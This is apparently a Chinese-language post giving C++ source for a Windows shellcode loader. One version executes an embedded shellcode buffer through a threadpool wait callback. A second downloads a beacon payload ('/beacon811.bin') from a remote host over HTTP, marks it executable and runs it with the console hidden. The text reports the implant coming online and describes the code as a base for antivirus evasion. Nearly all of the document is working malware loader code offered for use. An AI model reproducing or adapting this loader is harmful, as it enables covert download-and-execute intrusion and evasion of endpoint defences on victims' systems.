最初始的模板
#include <stdio.h>
#include <Windows.h>
int main() {
unsigned char buf[] = "shellcode";
/*
* VirtualProtect是Windows API,用于修改内存访问权限
* 参数1:指向内存的指针
* 参数2:内存大小(以字节为单位)
* 参数3:新的访问权限
* 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)
*/
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行
/*
* CreateEvent是Windows API,用于创建一个事件对象
* 参数1:安全属性,NULL表示默认
* 参数2:是否手动复位
* 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态
* 参数4:事件名称,NULL表示不使用名称
*/
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
/*
* CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象
* 参数1:回调函数指针
* 参数2:回调函数参数
* 参数3:线程池回调环境
*/
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL);
/*
* SetThreadpoolWait是Windows API,用于向线程池中添加等待对象
* 参数1:线程池等待对象
* 参数2:要等待的内核对象句柄
* 参数3:等待超时时间,NULL表示无限等待
*/
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf
return 0;
}
然后我们写成远程加载的方式
#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#include <string>
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
using namespace std;
int main() {
unsigned char buf[] = "shellcode";
void* exec;
int payload_len = 280000; //shellcode大小
wchar_t host[] = L"xx.xx.xx.xx"; //远程下载的主机的ip
WORD port = 8000; //端口
wchar_t path[] = L"/beacon811.bin"; //对应的文件
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存
//使用默认设置创建会话
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
conn = InternetConnect(session, host, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
reqfile = HttpOpenRequest(conn, L"GET", path, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
HttpSendRequest(reqfile, NULL, 0, 0, 0);
InternetReadFile(reqfile, exec, payload_len, &nread);
std::string Content(reinterpret_cast<const char*>(exec), nread);
/*
* VirtualProtect是Windows API,用于修改内存访问权限
* 参数1:指向内存的指针
* 参数2:内存大小(以字节为单位)
* 参数3:新的访问权限
* 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)
*/
DWORD oldProtect;
VirtualProtect((LPVOID)Content.c_str(), Content.size(), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行
/*
* CreateEvent是Windows API,用于创建一个事件对象
* 参数1:安全属性,NULL表示默认
* 参数2:是否手动复位
* 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态
* 参数4:事件名称,NULL表示不使用名称
*/
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
/*
* CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象
* 参数1:回调函数指针
* 参数2:回调函数参数
* 参数3:线程池回调环境
*/
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)Content.c_str(), NULL, NULL);
/*
* SetThreadpoolWait是Windows API,用于向线程池中添加等待对象
* 参数1:线程池等待对象
* 参数2:要等待的内核对象句柄
* 参数3:等待超时时间,NULL表示无限等待
*/
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf
return 0;
}
运行成功上线
需要单独使用的话套用811版本进行修改即可免杀